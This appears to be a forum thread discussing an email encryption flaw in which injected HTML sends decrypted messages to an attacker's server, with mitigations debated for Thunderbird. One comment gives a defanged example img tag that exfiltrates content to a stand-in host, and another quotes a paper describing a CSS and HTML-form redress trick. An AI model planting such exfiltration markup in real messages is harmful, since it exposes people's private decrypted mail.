Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.

Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--

If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.

Anyway, the attacker still need to get a hand on your encrypted email.

> Anyway, the attacker still need to get a hand on your encrypted email.

That is the case for all encryption vulnerabilities, and it seems a little strange that you keep pointing this out. Of COURSE the attackers need access to the encrypted text; the entire point of encryption is because we want to protect our data when someone else has access to it.

If we thought an attacker getting their hands on our encrypted email was not something to worry about, we wouldn't encrypt our emails at all. Why do you keep making that point?

What about attack vectors like this one (from the paper)?

    For example, in Thunderbird and Postbox
    we can completely redress the UI with CSS
    and trick the user into submitting the
    plaintext with an HTML form if he clicks
    somewhere into the message.

That sounds like something that can easily happen, even with remote content disabled.

(Edit: Formatting)

The HTML form submission vector has been fixed in Thunderbird.

Wouldn't disabling HTML email take care of this?

Yes, but that's probably something most people won't do (with the prevalence of HTML email and no plaintext alternative). Also, it was a reply to the parent who stated "If you disable remote content, it can't be exploited on thunderbird".

Ruling out the presence of an exfiltration channel is hard. It's better to prevent rendering of messages with invalid authentication code in the first place (and not rendering it and showing a warning).

Because the method used relies on accessing remote content.